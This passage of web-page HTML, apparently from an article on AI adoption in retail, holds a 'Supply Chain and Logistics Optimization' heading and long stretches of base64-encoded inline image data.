RRRQBRRRQBRRRQBRRRQBRRRQH/2Q==" width="251px" alt="AI adoption in retail"/></p>
<p><h2>Supply Chain and Logistics Optimization</h2>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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